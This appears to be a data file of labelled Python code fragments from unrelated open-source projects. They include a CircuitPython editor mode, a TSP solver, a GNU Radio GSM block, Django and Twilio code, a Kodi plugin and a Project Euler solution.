http://stackoverflow.com/a/12056414 """""" vol_name_buf = ctypes.create_unicode_buffer(1024) ctypes.windll.kernel32.GetVolumeInformationW( ctypes.c_wchar_p(disk_name), vol_name_buf, ctypes.sizeof(vol_name_buf), None, None, None, None, 0, ) return vol_name_buf.value # # In certain circumstances, volumes are allocated to USB # storage devices which cause a Windows popup to raise if their # volume contains no media. Wrapping the check in SetErrorMode # with SEM_FAILCRITICALERRORS (1) prevents this popup. # old_mode = ctypes.windll.kernel32.SetErrorMode(1) try: for disk in ""ABCDEFGHIJKLMNOPQRSTUVWXYZ"": path = ""{}:\\"".format(disk) if ( os.path.exists(path) and get_volume_name(path) == ""CIRCUITPY"" ): return path finally: ctypes.windll.kernel32.SetErrorMode(old_mode) else: # No support for unknown operating systems. raise NotImplementedError('OS ""{}"" not supported.'.format(os.name)) if device_dir: # Found it! self.connected = True return device_dir else: # Not plugged in? Just return Mu's regular workspace directory # after warning the user. wd = super().workspace_dir() if self.connected: m = _(""Could not find an attached CircuitPython device."") info = _( ""Python files for CircuitPython devices"" "" are stored on the device. Therefore, to edit"" "" these files you need to have the device plugged in."" "" Until you plug in a device, Mu will use the"" "" directory found here:\n\n"" "" {}\n\n...to store your code."" ) self.view.show_message(m, info.format(wd)) self.connected = False return wd def compatible_board(self, port): """"""Use adafruit_board_toolkit to find out whether a board is running CircuitPython. The toolkit sees if the CDC Interface name is appropriate. """""" pid = port.productIdentifier() vid = port.vendorIdentifier() manufacturer = port.manufacturer() serial_number = port.serialNumber() port_name = self.port_path(port.portName()) # Find all the CircuitPython REPL comports, # and see if any of their device names match the one passed in. for comport in circuitpython_serial.repl_comports(): if comport.device == port_name: return Device( vid, pid, port_name, serial_number, manufacturer, self.name, self.short_name, ""CircuitPython board"", ) # No match. return None def api(self): """""" Return a list of API specifications to be used by auto-suggest and call tips. """""" return SHARED_APIS + ADAFRUIT_APIS ",1 "opyright 2017, Thomas Calmant :license: Apache License 2.0 :version: 0.3.1 .. Copyright 2017 Thomas Calmant Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """""" import sys # ------------------------------------------------------------------------------ # Module version __version_info__ = (0, 3, 1) __version__ = ""."".join(str(x) for x in __version_info__) # Documentation strings format __docformat__ = ""restructuredtext en"" # ------------------------------------------------------------------------------ if sys.version_info[0] < 3: # Python 2 # pylint: disable=E1101 import types try: STRING_TYPES = ( types.StringType, types.UnicodeType ) except NameError: # Python built without unicode support STRING_TYPES = (types.StringType,) NUMERIC_TYPES = ( types.IntType, types.LongType, types.FloatType ) def to_bytes(string): """""" Converts the given string into bytes """""" # pylint: disable=E0602 if type(string) is unicode: return str(string) return string def from_bytes(data): """""" Converts the given bytes into a string """""" if type(data) is str: return data return str(data) else: # Python 3 # pylint: disable=E1101 STRING_TYPES = ( bytes, str ) NUMERIC_TYPES = ( int, float ) def to_bytes(string): """""" Converts the given string into bytes """""" if type(string) is bytes: return string return bytes(string, ""UTF-8"") def from_bytes(data): """""" Converts the given bytes into a string """""" if type(data) is str: return data return str(data, ""UTF-8"") # ------------------------------------------------------------------------------ # Enumerations try: import enum def is_enum(obj): """""" Checks if an object is from an enumeration class :param obj: Object to test :return: True if the object is an enumeration item """""" return isinstance(obj, enum.Enum) except ImportError: # Pre-Python 3.4 def is_enum(_): """""" Before Python 3.4, enumerations didn't exist. :param _: Object to test :return: Always False """""" return False # ------------------------------------------------------------------------------ # Common DictType = dict ListType = list TupleType = tuple ITERABLE_TYPES = ( list, set, frozenset, tuple ) VALUE_TYPES = ( bool, type(None) ) PRIMITIVE_TYPES = STRING_TYPES + NUMERIC_TYPES + VALUE_TYPES ",1 "' while True: byte = uart.read() line += byte if byte == b'\r': return line uart = serial.Serial('/dev/ttyUSB0', baudrate=115200, timeout=1) while True: uart.write(b'\r\nSay something: ') line = readlineCR(uart) if line != b'exit\r': lineStr = '\r\nYou sent : {}'.format(line.decode('utf-8')) uart.write(lineStr.encode('utf-8')) else: uart.write(b'\r\nexiting\r\n') uart.close() exit(0) ",1 "imbing. #author : Yakup Cengiz #date : 20151121 #version : 0.1 #notes : #python_version : 3.5.0 #Reference : http://www.psychicorigami.com/category/tsp/ #============================================================================== import math import sys import os import random CommonPath = os.path.abspath(os.path.join('..', 'Common')) sys.path.append(CommonPath) import tsp def GenerateInitialPath(tour_length): tour=list(range(tour_length)) random.shuffle(tour) return tour MAX_ITERATION = 50000 def reversed_sections(tour): '''generator to return all possible variations where the section between two cities are swapped''' for i,j in tsp.AllEdges(len(tour)): if i != j: copy=tour[:] if i < j: copy[i:j+1]=reversed(tour[i:j+1]) else: copy[i+1:]=reversed(tour[:j]) copy[:j]=reversed(tour[i+1:]) if copy != tour: # no point returning the same tour yield copy def kirkpatrick_cooling(start_temp, alpha): T = start_temp while True: yield T T = alpha * T def P(prev_score,next_score,temperature): if next_score > prev_score: return 1.0 else: return math.exp( -abs(next_score-prev_score)/temperature ) class ObjectiveFunction: '''class to wrap an objective function and keep track of the best solution evaluated''' def __init__(self,objective_function): self.objective_function=objective_function self.best=None self.best_score=None def __call__(self,solution): score=self.objective_function(solution) if self.best is None or score > self.best_score: self.best_score=score self.best=solution return score def ApplySimulatedAnnealing(init_function,move_operator,objective_function,max_evaluations,start_temp,alpha): # wrap the objective function (so we record the best) objective_function=ObjectiveFunction(objective_function) current = init_function() current_score = objective_function(current) iterationCount = 1 cooling_schedule = kirkpatrick_cooling(start_temp, alpha) for temperature in cooling_schedule: done = False # examine moves around our current position for next in move_operator(current): if iterationCount >= max_evaluations: done=True break next_score=objective_function(next) iterationCount+=1 # probablistically accept this solution always accepting better solutions p = P(current_score, next_score, temperature) # random.random() basic function random() generates a random float uniformly in the range [0.0, 1.0). # p function returns data in range [0.0, 1.0] if random.random() < p: current = next current_score= next_score break # see if completely finished if done: break best_score = objective_function.best_score best = objective_function.best return (iterationCount,best_score,best) def SolveTSP(): print(""Starting to solve travel salesman problem"") coordinates = tsp.ReadCoordinatesFromFile("".\cityCoordinates.csv"") distance_matrix = tsp.ComputeDistanceMatrix(coordinates); init_function = lambda: GenerateInitialPath(len(coordinates)) objective_function = lambda tour: -tsp.ComputeTourLength(distance_matrix, tour) start_temp,alpha = 100, 0.995 iterationCount,best_score,shortestPath = ApplySimulatedAnnealing(init_function, reversed_sections, objective_function, MAX_ITERATION,start_temp,alpha) print(iterationCount, best_score, shortestPath); tsp.DrawPath(coordinates, shortestPath, ""TSP.png""); if __name__ == ""__main__"": SolveTSP();",1 "Krysik # Generated: Wed Nov 19 08:38:40 2014 ################################################## from gnuradio import blocks from gnuradio import filter from gnuradio import gr from gnuradio.filter import firdes import grgsm import math class clock_offset_corrector(gr.hier_block2): def __init__(self, fc=936.6e6, ppm=0, samp_rate_in=1625000.0/6.0*4.0): gr.hier_block2.__init__( self, ""Clock offset corrector"", gr.io_signature(1, 1, gr.sizeof_gr_complex*1), gr.io_signature(1, 1, gr.sizeof_gr_complex*1), ) ################################################## # Parameters ################################################## self.fc = fc self.ppm = ppm self.samp_rate_in = samp_rate_in ################################################## # Variables ################################################## self.samp_rate_out = samp_rate_out = samp_rate_in ################################################## # Blocks ################################################## self.ppm_in = None;self.message_port_register_hier_out(""ppm_in"") self.gsm_controlled_rotator_cc_0 = grgsm.controlled_rotator_cc(0,samp_rate_out) self.gsm_controlled_const_source_f_0 = grgsm.controlled_const_source_f(ppm) self.fractional_resampler_xx_0 = filter.fractional_resampler_cc(0, samp_rate_in/samp_rate_out) self.blocks_multiply_const_vxx_0_0 = blocks.multiply_const_vff((1.0e-6*samp_rate_in/samp_rate_out, )) self.blocks_multiply_const_vxx_0 = blocks.multiply_const_vff((fc/samp_rate_out*(2*math.pi)/1e6, )) self.blocks_add_const_vxx_0 = blocks.add_const_vff((samp_rate_in/samp_rate_out, )) ################################################## # Connections ################################################## self.connect((self, 0), (self.fractional_resampler_xx_0, 0)) self.connect((self.fractional_resampler_xx_0, 0), (self.gsm_controlled_rotator_cc_0, 0)) self.connect((self.blocks_add_const_vxx_0, 0), (self.fractional_resampler_xx_0, 1)) self.connect((self.blocks_multiply_const_vxx_0_0, 0), (self.blocks_add_const_vxx_0, 0)) self.connect((self.blocks_multiply_const_vxx_0, 0), (self.gsm_controlled_rotator_cc_0, 1)) self.connect((self.gsm_controlled_rotator_cc_0, 0), (self, 0)) self.connect((self.gsm_controlled_const_source_f_0, 0), (self.blocks_multiply_const_vxx_0_0, 0)) self.connect((self.gsm_controlled_const_source_f_0, 0), (self.blocks_multiply_const_vxx_0, 0)) ################################################## # Asynch Message Connections ################################################## self.msg_connect(self, ""ppm_in"", self.gsm_controlled_const_source_f_0, ""constant_msg"") def get_fc(self): return self.fc def set_fc(self, fc): self.fc = fc self.blocks_multiply_const_vxx_0.set_k((self.fc/self.samp_rate_out*(2*math.pi)/1e6, )) def get_ppm(self): return self.ppm def set_ppm(self, ppm): self.ppm = ppm self.gsm_controlled_const_source_f_0.set_constant(self.ppm) def get_samp_rate_in(self): return self.samp_rate_in def set_samp_rate_in(self, samp_rate_in): self.samp_rate_in = samp_rate_in self.set_samp_rate_out(self.samp_rate_in) self.fractional_resampler_xx_0.set_resamp_ratio(self.samp_rate_in/self.samp_rate_out) self.blocks_multiply_const_vxx_0_0.set_k((1.0e-6*self.samp_rate_in/self.samp_rate_out, )) self.blocks_add_const_vxx_0.set_k((self.samp_rate_in/self.samp_rate_out, )) def get_samp_rate_out(self): return self.samp_rate_out def set_samp_rate_out(self, samp_rate_out): self.samp_rate_out = samp_rate_out self.blocks_multiply_const_vxx_0.set_k((self.fc/self.samp_rate_out*(2*math.pi)/1e6, )) self.fractional_resampler_xx_0.set_resamp_ratio(self.samp_rate_in/self.samp_rate_out) self.blocks_multiply_const_vxx_0_0.set_k((1.0e-6*self.samp_rate_in/self.samp_rate_out, )) self.gsm_controlled_rotator_cc_0.set_samp_rate(self.samp_rate_out) self.blocks_add_const_vxx_0.set_k((self.samp_rate_in/self.samp_rate_out, )) ",1 "everse from django.http import HttpResponseRedirect from django.shortcuts import render from dojo.utils import add_breadcrumb from dojo.forms import ToolTypeForm from dojo.models import Tool_Type logger = logging.getLogger(__name__) @user_passes_test(lambda u: u.is_staff) def new_tool_type(request): if request.method == 'POST': tform = ToolTypeForm(request.POST, instance=Tool_Type()) if tform.is_valid(): tform.save() messages.add_message(request, messages.SUCCESS, 'Tool Type Configuration Successfully Created.', extra_tags='alert-success') return HttpResponseRedirect(reverse('tool_type', )) else: tform = ToolTypeForm() add_breadcrumb(title=""New Tool Type Configuration"", top_level=False, request=request) return render(request, 'dojo/new_tool_type.html', {'tform': tform}) @user_passes_test(lambda u: u.is_staff) def edit_tool_type(request, ttid): tool_type = Tool_Type.objects.get(pk=ttid) if request.method == 'POST': tform = ToolTypeForm(request.POST, instance=tool_type) if tform.is_valid(): tform.save() messages.add_message(request, messages.SUCCESS, 'Tool Type Configuration Successfully Updated.', extra_tags='alert-success') return HttpResponseRedirect(reverse('tool_type', )) else: tform = ToolTypeForm(instance=tool_type) add_breadcrumb(title=""Edit Tool Type Configuration"", top_level=False, request=request) return render(request, 'dojo/edit_tool_type.html', { 'tform': tform, }) @user_passes_test(lambda u: u.is_staff) def tool_type(request): confs = Tool_Type.objects.all().order_by('name') add_breadcrumb(title=""Tool Type List"", top_level=not len(request.GET), request=request) return render(request, 'dojo/tool_type.html', {'confs': confs, }) ",1 "alize from twilio.base import values from twilio.base.instance_resource import InstanceResource from twilio.base.list_resource import ListResource from twilio.base.page import Page class FeedbackList(ListResource): def __init__(self, version, account_sid, message_sid): """""" Initialize the FeedbackList :param Version version: Version that contains the resource :param account_sid: The account_sid :param message_sid: The message_sid :returns: twilio.rest.api.v2010.account.message.feedback.FeedbackList :rtype: twilio.rest.api.v2010.account.message.feedback.FeedbackList """""" super(FeedbackList, self).__init__(version) # Path Solution self._solution = { 'account_sid': account_sid, 'message_sid': message_sid, } self._uri = '/Accounts/{account_sid}/Messages/{message_sid}/Feedback.json'.format(**self._solution) def create(self, outcome=values.unset): """""" Create a new FeedbackInstance :param FeedbackInstance.Outcome outcome: The outcome :returns: Newly created FeedbackInstance :rtype: twilio.rest.api.v2010.account.message.feedback.FeedbackInstance """""" data = values.of({ 'Outcome': outcome, }) payload = self._version.create( 'POST', self._uri, data=data, ) return FeedbackInstance( self._version, payload, account_sid=self._solution['account_sid'], message_sid=self._solution['message_sid'], ) def __repr__(self): """""" Provide a friendly representation :returns: Machine friendly representation :rtype: str """""" return '' class FeedbackPage(Page): def __init__(self, version, response, solution): """""" Initialize the FeedbackPage :param Version version: Version that contains the resource :param Response response: Response from the API :param account_sid: The account_sid :param message_sid: The message_sid :returns: twilio.rest.api.v2010.account.message.feedback.FeedbackPage :rtype: twilio.rest.api.v2010.account.message.feedback.FeedbackPage """""" super(FeedbackPage, self).__init__(version, response) # Path Solution self._solution = solution def get_instance(self, payload): """""" Build an instance of FeedbackInstance :param dict payload: Payload response from the API :returns: twilio.rest.api.v2010.account.message.feedback.FeedbackInstance :rtype: twilio.rest.api.v2010.account.message.feedback.FeedbackInstance """""" return FeedbackInstance( self._version, payload, account_sid=self._solution['account_sid'], message_sid=self._solution['message_sid'], ) def __repr__(self): """""" Provide a friendly representation :returns: Machine friendly representation :rtype: str """""" return '' class FeedbackInstance(InstanceResource): class Outcome(object): CONFIRMED = ""confirmed"" UMCONFIRMED = ""umconfirmed"" def __init__(self, version, payload, account_sid, message_sid): """""" Initialize the FeedbackInstance :returns: twilio.rest.api.v2010.account.message.feedback.FeedbackInstance :rtype: twilio.rest.api.v2010.account.message.feedback.FeedbackInstance """""" super(FeedbackInstance, self).__init__(version) # Marshaled Properties self._properties = { 'account_sid': payload['account_sid'], 'message_sid': payload['message_sid'], 'outcome': payload['outcome'], 'date_created': deserialize.rfc2822_datetime(payload['date_created']), 'date_updated': deserialize.rfc2822_datetime(payload['date_updated']), 'uri': payload['uri'], } # Context self._context = None self._solution = { 'account_sid': account_sid, 'message_sid': message_sid, } @property def account_sid(self): """""" :returns: The account_sid :rtype: unicode """""" return self._properties['account_sid'] @property def message_sid(self): """""" :returns: The message_sid :rtype: unicode """""" return self._properties['message_sid'] @property def outcome(self): """""" :returns: The outcome :rtype: FeedbackInstance.Outcome """""" return self._properties['outcome'] @property def date_created(self): """""" :returns: The date_created :rtype: datetime """""" return self._properties['date_created'] @property def date_updated(self): """""" :returns: The date_updated :rtype: datetime """""" return self._properties['date_updated'] @property def uri(self): """""" :returns: The uri :rtype: unicode """""" return self._properties['uri'] def __repr__(self): """""" Provide a friendly representation :returns: Machine friendly representation :rtype: str """""" return '' ",1 "an redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # import re from xbmcswift2 import Plugin, xbmc, xbmcgui from resources.lib import scraper STRINGS = { 'page': 30000, 'search': 30001, 'show_my_favs': 30002, 'no_scraper_found': 30003, 'add_to_my_favs': 30004, 'del_from_my_favs': 30005, 'no_my_favs': 30006, 'use_context_menu': 30007, 'to_add': 30008, } plugin = Plugin() @plugin.route('/') def show_categories(): items = [{ 'label': category['title'], 'path': plugin.url_for( endpoint='show_path', path=category['path'] ) } for category in scraper.get_categories()] items.append({ 'label': _('search'), 'path': plugin.url_for('video_search') }) items.append({ 'label': _('show_my_favs'), 'path': plugin.url_for('show_my_favs') }) return plugin.finish(items) @plugin.route('/search/') def video_search(): search_string = __keyboard(_('search')) if search_string: __log('search gots a string: ""%s""' % search_string) url = plugin.url_for( endpoint='video_search_result', search_string=search_string ) plugin.redirect(url) @plugin.route('/search//') def video_search_result(search_string): path = scraper.get_search_path(search_string) return show_path(path) @plugin.route('/my_favs/') def show_my_favs(): def context_menu(item_path): context_menu = [( _('del_from_my_favs'), 'XBMC.RunPlugin(%s)' % plugin.url_for('del_from_my_favs', item_path=item_path), )] return context_menu my_fav_items = plugin.get_storage('my_fav_items') items = my_fav_items.values() for item in items: item['context_menu'] = context_menu(item['path']) if not items: dialog = xbmcgui.Dialog() dialog.ok(_('no_my_favs'), _('use_context_menu'), _('to_add')) return return plugin.finish(items) @plugin.route('/path//') def show_path(path): try: items, next_page, prev_page = scraper.get_path(path) except NotImplementedError: plugin.notify(msg=_('no_scraper_found'), title='Path: %s' % path) else: return __add_items(items, next_page, prev_page) def __add_items(entries, next_page=None, prev_page=None): my_fav_items = plugin.get_storage('my_fav_items') def context_menu(item_path, video_id): if not item_path in my_fav_items: context_menu = [( _('add_to_my_favs'), 'XBMC.RunPlugin(%s)' % plugin.url_for( endpoint='add_to_my_favs', item_path=item_path ), )] else: context_menu = [( _('del_from_my_favs'), 'XBMC.RunPlugin(%s)' % plugin.url_for( endpoint='del_from_my_favs', item_path=item_path ), )] return context_menu def format_episode_title(title): if fix_show_title and '-' in title and ('Folge' in title or 'Staffel' in title): title, show = title.rsplit('-', 1) title = title.replace('Staffel ', 'S').replace(' Folge ', 'E') title = title.replace('Folge ', 'E').replace('Ganze Folge', '') return u'%s %s' % (show.strip(), title.strip()) return title def better_thumbnail(thumb_url): if 'web/' in thumb_url and not thumb_url.startswith('http://is'): thumb_url = thumb_url.replace('http://i', 'http://is') thumb_url = re.sub('mv/web/[0-9]+', 'de', thumb_url) thumb_url = thumb_url.replace('.jpg', '.jpg_hq.jpg') return thumb_url fix_show_title = plugin.get_setting('fix_show_title', bool) temp_items = plugin.get_storage('temp_items') temp_items.clear() items = [] has_icons = False i = 0 for i, entry in enumerate(entries): if not has_icons and entry.get('thumb'): has_icons = True if entry['is_folder']: items.append({ 'label': entry['title'], 'thumbnail': entry.get('thumb', 'DefaultFolder.png'), 'info': {'count': i + 1}, 'path': plugin.url_for( endpoint='show_path', path=entry['path'] ) }) else: items.append({ 'label': format_episode_title(entry['title']), 'thumbnail': better_thumbnail( entry.get('thumb', 'DefaultVideo.png') ), 'icon': entry.get('thumb', 'DefaultVideo.png'), 'info': { 'video_id': entry['video_id'], 'count': i + 1, 'plot': entry.get('description', ''), 'studio': entry.get('author', {}).get('name', ''), 'date': entry.get('date', ''), 'year': int(entry.get('year', 0)), 'rating': float(entry.get('rating', 0)), 'votes': unicode(entry.get('votes')), 'views': unicode(entry.get('views', 0)) }, 'stream_info': { 'video': {'duration': entry.get('duration', 0)} }, 'is_playable': True, 'path': plugin.url_for( endpoint='watch_video', video_id=entry['video_id'] ) }) if prev_page: items.append({ 'label': '<< %s %s <<' % (_('page'), prev_page['number']), 'info': {'count': 0}, 'thumbnail': 'DefaultFolder.png', 'path': plugin.url_for( endpoint='show_path', path=prev_page['path'], update='true', ) }) if next_page: items.append({ 'label': '>> %s %s >>' % (_('page'), next_page['number']), 'thumbnail': 'DefaultFolder.png', 'info': {'count': i + 2}, 'path': plugin.url_for( endpoint='show_path', path=next_page['path'], update='true', ) }) for item in items: temp_items[item['path']] = item item['context_menu'] = context_menu( item['path'], item['info'].get('video_id') ) temp_items.sync() update_on_pageswitch = plugin.get_setting('update_on_pageswitch', bool) is_update = update_on_pageswitch and 'update' in plugin.request.args finish_kwargs = { 'sort_methods': ('playlist_order', 'label'), 'update_listing': is_update } if has_icons and plugin.get_setting('force_viewmode', bool): finish_kwargs['view_mode'] = 'thumbnail' return plugin.finish(items, **finish_kwargs) @plugin.route('/video//play') def watch_video(video_id): video = scraper.get_video(video_id) if 'hls_playlist' in video: __log('watch_video using HLS') video_url = video['hls_playlist'] elif not video['rtmpurl']: __log('watch_video using FLV') video_url = video['filepath'] + video['file'] else: __log('watch_video using RTMPE or RTMPT') video_url = ( '%(rtmpurl)s ' 'tcUrl=%(rtmpurl)s ' 'swfVfy=%(swfobj)s ' 'pageUrl=%(pageurl)s ' 'playpath=%(playpath)s' ) % video __log('watch_video finished with url: %s' % video_url) return plugin.set_resolved_url(video_url) @plugin.route('/my_favs/add/') def add_to_my_favs(item_path): my_fav_items = plugin.get_storage('my_fav_items') temp_items = plugin.get_storage('temp_items') my_fav_items[item_path] = temp_items[item_path] my_fav_items.sync() @plugin.route('/my_favs/del/') def del_from_my_favs(item_path): my_fav_items = plugin.get_storage('my_fav_items') if item_path in my_fav_items: del my_fav_items[item_path] my_fav_items.sync() def __keyboard(title, text=''): keyboard = xbmc.Keyboard(text, title) keyboard.doModal() if keyboard.isConfirmed() and keyboard.getText(): return keyboard.getText() def _(string_id): if string_id in STRINGS: return plugin.get_string(STRINGS[string_id]) else: plugin.log.warning('String is missing: %s' % string_id) return string_id def __log(text): plugin.log.info(text) if __name__ == '__main__': try: plugin.run() except scraper.NetworkError: plugin.notify(msg=_('network_error')) ",1 ": def __init__(self, main_model): self.main_view = None self.main_model = main_model self.main_model.begin_job_fetch.connect(self.on_begin_job_fetch) self.main_model.update_job_fetch_progress.connect(self.on_job_fetch_update) self.main_model.fetched_job.connect(self.on_fetched_job) def init_ui(self, main_view): self.main_view = main_view self.init_hotkeys() def init_hotkeys(self): self.main_model.hotkey_model.add_hotkey([""Lcontrol"", ""Lmenu"", ""J""], self.main_view.focus_job_num_edit) self.main_model.hotkey_model.add_hotkey([""Lcontrol"", ""Lmenu"", ""O""], self.main_view.open_current_job_folder) self.main_model.hotkey_model.add_hotkey([""Lcontrol"", ""Lmenu"", ""B""], self.main_view.open_current_job_basecamp) self.main_model.hotkey_model.start_detection() def fetch_job(self): job_num = self.main_view.job_num if self.main_model.job_exists(job_num): self.main_view.show_job_already_exists_dialog() return self.main_model.fetch_job(job_num) def cancel_job_fetch(self): self.main_model.cancel_job_fetch() def on_begin_job_fetch(self, max): self.main_view.show_job_fetch_progress_dialog(max) def on_job_fetch_update(self, progress): self.main_view.update_job_fetch_progress_dialog(progress) def on_fetched_job(self, job_num, base_folder): job = JobModel(job_num, base_folder, self.main_model.settings_model.basecamp_email, self.main_model.settings_model.basecamp_password, self.main_model.settings_model.google_maps_js_api_key, self.main_model.settings_model.google_maps_static_api_key, self.main_model.settings_model.google_earth_exe_path, self.main_model.settings_model.scene_exe_path) self.main_model.jobs[job.job_num] = job found = bool(job.base_folder) self.main_view.close_job_fetch_progress_dialog() if not found: open_anyway = self.main_view.show_job_not_found_dialog() if not open_anyway: return job_view = JobView(JobController(job)) job_view.request_minimize.connect(self.main_view.close) self.main_view.add_tab(job_view, job.job_name) def remove_job(self, index): job_num = int(self.main_view.ui.jobs_tab_widget.tabText(index)[1:]) self.main_model.jobs.pop(job_num, None) self.main_view.remove_tab(index) ",1 " four numbers along a diagonal line have been marked in red. The product of these numbers is 26 * 63 * 78 * 14 = 1788696. What is the greatest product of four adjacent numbers in the same direction (up, down, left, right, or diagonally) in the 20x20 grid? """""" THE_GRID = [[int(column) for column in row.split(' ')] for row in """""" 08 02 22 97 38 15 00 40 00 75 04 05 07 78 52 12 50 77 91 08 49 49 99 40 17 81 18 57 60 87 17 40 98 43 69 48 04 56 62 00 81 49 31 73 55 79 14 29 93 71 40 67 53 88 30 03 49 13 36 65 52 70 95 23 04 60 11 42 69 24 68 56 01 32 56 71 37 02 36 91 22 31 16 71 51 67 63 89 41 92 36 54 22 40 40 28 66 33 13 80 24 47 32 60 99 03 45 02 44 75 33 53 78 36 84 20 35 17 12 50 32 98 81 28 64 23 67 10 26 38 40 67 59 54 70 66 18 38 64 70 67 26 20 68 02 62 12 20 95 63 94 39 63 08 40 91 66 49 94 21 24 55 58 05 66 73 99 26 97 17 78 78 96 83 14 88 34 89 63 72 21 36 23 09 75 00 76 44 20 45 35 14 00 61 33 97 34 31 33 95 78 17 53 28 22 75 31 67 15 94 03 80 04 62 16 14 09 53 56 92 16 39 05 42 96 35 31 47 55 58 88 24 00 17 54 24 36 29 85 57 86 56 00 48 35 71 89 07 05 44 44 37 44 60 21 58 51 54 17 58 19 80 81 68 05 94 47 69 28 73 92 13 86 52 17 77 04 89 55 40 04 52 08 83 97 35 99 16 07 97 57 32 16 26 26 79 33 27 98 66 88 36 68 87 57 62 20 72 03 46 33 67 46 55 12 32 63 93 53 69 04 42 16 73 38 25 39 11 24 94 72 18 08 46 29 32 40 62 76 36 20 69 36 41 72 30 23 88 34 62 99 69 82 67 59 85 74 04 36 16 20 73 35 29 78 31 90 01 74 31 49 71 48 86 81 16 23 57 05 54 01 70 54 71 83 51 54 69 16 92 33 48 61 43 52 01 89 19 67 48 """""".strip().split('\n')] """""" A few words about the declaration of THE_GRID: This is not the easiest thing to digest on first look. I think it is ""pythonic"" in its implementation and it allows to copy/paste the grid straight out of the problem statement without a bunch of mucking around to manually turn it into a 2d array ( or nested lists, actually ). It is arranged as a list of rows. Each row is a list of numbers for each column in that row. Looking at it, the multi-line string definition actually converts to a list of strings from the split operation. One string for each row. The top list comprehension converts each row into a list of short strings ( the columns ) which are also converted to int. """""" #------------------------------------------------------------------------------ import operator #------------------------------------------------------------------------------ def product(iterable): return reduce(operator.mul, iterable, 1) def solve(run_length): height = len(THE_GRID) width = len(THE_GRID[0]) for row in range(height-run_length+1): for column in range(width-run_length+1): for y_dir in (0, 1): for x_dir in (0,1): for i in range(run_length): print THE_GRID[row+(y_dir*i)][column+x_dir*i] def solve(run_length): height = len(THE_GRID) width = len(THE_GRID[0]) for row in range(height-run_length+1): for column in range(width-run_length+1): for i in range(run_length): for y_dir in (0, 1): for x_dir in (0,1): print THE_GRID[row+(y_dir*i)][column+x_dir*i] def solve(run_length): height = len(THE_GRID) width = len(THE_GRID[0]) highest = 0 for row in range(height-run_length+1): for column in range(width-run_length+1): for x_dir, y_dir in [(1, 0), (0, 1), (1, 1)]: for i in range(run_length): print THE_GRID[row+(y_dir*i)][column+x_dir*i] def solve(run_length): height = len(THE_GRID) width = len(THE_GRID[0]) highest = 0 for row in range(height-run_length+1): for column in range(width-run_length+1): for x_dir, y_dir in [(1, 0), (0, 1), (1, 1)]: run =[THE_GRID[row+(y_dir*i)][column+x_dir*i] for i in range(run_length)] result = product(run) print run, result #if result > highest: # highest = result #return(highest) #------------------------------------------------------------------------------ def solve(): g = THE_GRID maxp = 0 rows, cols, path_size = len(g), len(g[0]), 5 for i in range(rows): for j in range(cols - path_size + 1): phv = max(product([g[i][j+s] for s in range(path_size)]), product([g[j+s][i] for s in range(path_size)])) #phv = max(g[i][j] * g[i][j+1] * g[i][j+2] * g[i][j+3], # g[j][i] * g[j+1][i] * g[j+2][i] * g[j+3][i]) if i < rows - path_size: pdd = max(product([g[i+s][j+s] for s in range(path_size)]), product([g[i+s][j+path_size-s-1] for s in range(path_size)])) #pdd = max(g[i][j] * g[i+1][j+1] * g[i+2][j+2] * g[i+3][j+3], # g[i][j+3] * g[i+1][j+2] * g[i+2][j+1] * g[i+3][j]) maxp = max(maxp, phv, pdd) return maxp #------------------------------------------------------------------------------ def main(): print ""PROBLEM:\n"" for line in __doc__.strip().split('\n'): print '\t', line print ""\nSOLUTION:"" print ""\n\t"", solve() #------------------------------------------------------------------------------ if __name__ == ""__main__"": main()",1 "thenticated from rest_framework.response import Response from rest_framework.viewsets import ModelViewSet from rdmo.core.exports import XMLResponse from rdmo.core.permissions import HasModelPermission from rdmo.core.views import ChoicesViewSet from rdmo.core.viewsets import CopyModelMixin from .models import Condition from .renderers import ConditionRenderer from .serializers.export import ConditionExportSerializer from .serializers.v1 import ConditionIndexSerializer, ConditionSerializer class ConditionViewSet(CopyModelMixin, ModelViewSet): permission_classes = (HasModelPermission, ) queryset = Condition.objects.select_related('source', 'target_option') \ .prefetch_related('optionsets', 'questionsets', 'questions', 'tasks') serializer_class = ConditionSerializer filter_backends = (DjangoFilterBackend,) filterset_fields = ( 'uri', 'key', 'source', 'relation', 'target_text', 'target_option' ) @action(detail=False) def index(self, request): queryset = Condition.objects.select_related('source', 'target_option') serializer = ConditionIndexSerializer(queryset, many=True) return Response(serializer.data) @action(detail=False, permission_classes=[HasModelPermission]) def export(self, request): serializer = ConditionExportSerializer(self.get_queryset(), many=True) xml = ConditionRenderer().render(serializer.data) return XMLResponse(xml, name='conditions') @action(detail=True, url_path='export', permission_classes=[HasModelPermission]) def detail_export(self, request, pk=None): serializer = ConditionExportSerializer(self.get_object()) xml = ConditionRenderer().render([serializer.data]) return XMLResponse(xml, name=self.get_object().key) class RelationViewSet(ChoicesViewSet): permission_classes = (IsAuthenticated, ) queryset = Condition.RELATION_CHOICES ",1 " # Adding field 'Application.content_type' db.add_column('applications_application', 'content_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['contenttypes.ContentType'], null=True, blank=True), keep_default=False) # Adding field 'Application.object_id' db.add_column('applications_application', 'object_id', self.gf('django.db.models.fields.PositiveIntegerField')(null=True, blank=True), keep_default=False) # Deleting field 'UserApplication.object_id' db.delete_column('applications_userapplication', 'object_id') # Deleting field 'UserApplication.content_type' db.delete_column('applications_userapplication', 'content_type_id') def backwards(self, orm): # Deleting field 'Application.content_type' db.delete_column('applications_application', 'content_type_id') # Deleting field 'Application.object_id' db.delete_column('applications_application', 'object_id') # Adding field 'UserApplication.object_id' db.add_column('applications_userapplication', 'object_id', self.gf('django.db.models.fields.PositiveIntegerField')(null=True, blank=True), keep_default=False) # Adding field 'UserApplication.content_type' db.add_column('applications_userapplication', 'content_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['contenttypes.ContentType'], null=True, blank=True), keep_default=False) models = { 'applications.applicant': { 'Meta': {'object_name': 'Applicant'}, 